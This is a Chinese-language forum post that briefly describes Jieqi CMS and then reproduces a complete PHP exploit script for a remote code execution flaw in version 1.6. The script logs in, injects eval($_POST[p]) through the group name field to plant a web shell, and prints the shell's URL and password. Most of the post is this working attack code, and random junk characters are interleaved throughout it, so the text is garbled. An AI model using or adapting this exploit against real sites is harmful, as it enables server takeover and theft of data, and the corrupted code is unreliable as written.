杰奇网站管理系统(简称 JIEQI CMS,中国国家版权局著作权登记号:2006SR03382)是一套模块化的网站架设系统,具备简单灵活、性能卓越、安全可靠等特性。我们为大家提供了目前最流行的杰奇小说连载系统、杰奇原创漫画系统及数字出版解决方案,并提供各类网站定制服务。
# S" [4 R. S8 L
( n i6 J# c! @$ U4 J X; O ) f* l! x2 ]: h$ C, Q
该系统存在多个远程安全漏洞,今天报告的这个是1.6版本的一个远程代码执行漏洞,应该有2年多历史了。6 f' f. S: Q) R; ^
需要有一个能创建圈子的用户。4 O# B- t0 {% l( E" B( b
8 k* x5 k( t5 h Y, j& X% Q<?php; x( p5 r K6 Q9 }# j
9 A, l! b+ | n( C0 Q
print_r('
# ^: H/ f3 j" _. Z; v+---------------------------------------------------------------------------+$ G1 ?/ Y2 V, p9 O. a- E
Jieqi CMS V1.6 PHP Code Injection Exploit
$ B! a: W) m' X/ ?+ ?by flyh4t7 {+ i1 Z8 U. R* p
mail: phpsec at hotmail dot com4 o K: t0 K& d d) i) i5 j
team: http://www.wolvez.org
5 q5 S2 G0 V9 ^( Z& ~ e$ T+---------------------------------------------------------------------------+: h. Z7 n1 |: Y
'); /**
6 r7 X& f7 c" _; G. s# |: q# F * works regardless of php.ini settings
+ f4 A( u0 ~2 h( o( E*/ if ($argc < 5) { print_r('
& a- D) \! P+ N ]5 {: D+---------------------------------------------------------------------------+
, s( ^& [) u' g: P# jUsage: php '.$argv[0].' host path username! u+ X# D) w. M s; r8 Y: G
host: target server (ip/hostname)/ @2 ]5 X# l2 X& K
path: path to jieqicms
8 m$ C: M9 r+ ]$ P% |uasename: a username who can create group
( Q5 d9 B- P9 f$ P" e# P T; FExample:* G# }# b+ C6 k7 ~* |6 z* N0 ^
php '.$argv[0].' localhost /jieqicmsv1.6/ vipuser1 password
+ [- Q4 G) u5 z; B; N$ t7 ]+---------------------------------------------------------------------------+1 G N3 Y( T7 u" r1 ^, t) q
'); exit; } error_reporting(7); ini_set('max_execution_time', 0); $host = $argv[1]; $path = $argv[2]; $username = $argv[3]; $password = $argv[4]; /*get cookie*/ $cookie_jar_index = 'cookie.txt'; $url1 = "http://$host/$path/login.php"; $params = "password=$password&username=$username&usecookie=86400&submit=%26%23160%3B%B5%C7%26%23160%3B%26%23160%3B%C2%BC%26%23160%3B&action=login&jumpreferer=1"; $curl1 = curl_init(); curl_setopt($curl1, CURLOPT_URL, $url1); curl_setopt($curl1, CURLOPT_COOKIEJAR, $cookie_jar_index); curl_setopt($curl1, CURLOPT_POST, 1); curl_setopt($curl1, CURLOPT_POSTFIELDS, $params); ob_start(); $data1 = curl_exec($curl1); if ($data1 === FALSE) { echo "cURL Error: " . curl_error($ch); exit('exploit failed'); } curl_close($curl1); ob_clean(); /*get shell*/ $params ='-----------------------------23281168279961( n5 R, [) }, z3 Q
Content-Disposition: form-data; name="gname"
' Y3 ^. \, L3 k . a3 F( G/ {1 I5 `
'; $params .="';"; $params .='eval($_POST[p]);//flyh4t6 i: C* g- |# X! T9 W) Y4 R
-----------------------------23281168279961( @) \3 r2 @- @* [. Z9 o
Content-Disposition: form-data; name="gcatid") c7 q' n, N9 y
0 x% C* x% x. V' c1
; U+ ], C# ^ M& o( H-----------------------------232811682799611 m, ^) s) n" i& ~( L/ V
Content-Disposition: form-data; name="gaudit"% \) r, r2 G6 {+ s* d
" N! b; T- r+ h/ @8 ?- ]) z1/ ?' t; V+ E5 L
-----------------------------23281168279961
$ ^3 H3 j3 i8 K6 kContent-Disposition: form-data; name="gbrief"; U) p. S, [; c7 ]! d6 Y2 y
+ F( k) o7 ]6 t4 d# a) m1
0 ?, i: f( g1 I) Q-----------------------------23281168279961--/ ?0 R8 |, Y& v
'; $url2 = "http://$host/$path/modules/group/create.php"; $curl2 = curl_init(); $header =array( 'Content-Type: multipart/form-data; boundary=---------------------------23281168279961' ); curl_setopt($curl2, CURLOPT_URL, $url2); curl_setopt($curl2, CURLOPT_HTTPHEADER, $header); curl_setopt($curl2, CURLOPT_COOKIEFILE, $cookie_jar_index); curl_setopt($curl2, CURLOPT_POST, 1); curl_setopt($curl2, CURLOPT_POSTFIELDS, $params); ob_start(); curl_exec($curl2); curl_close($curl2); $resp = ob_get_contents(); //$rs就是返回的内容 ob_clean(); www.2cto.com
! h' O# i2 [5 Q9 e : @ H* d( @8 X
preg_match('/g=([0-9]{1,4})/', $resp, $shell); //print_r($shell); //print_r($resp); $url = "http://$host/$path/files/group/userdir/0/$shell[1]/info.php"; echo "view you shell here(password:p)\r\n" ; echo $url; |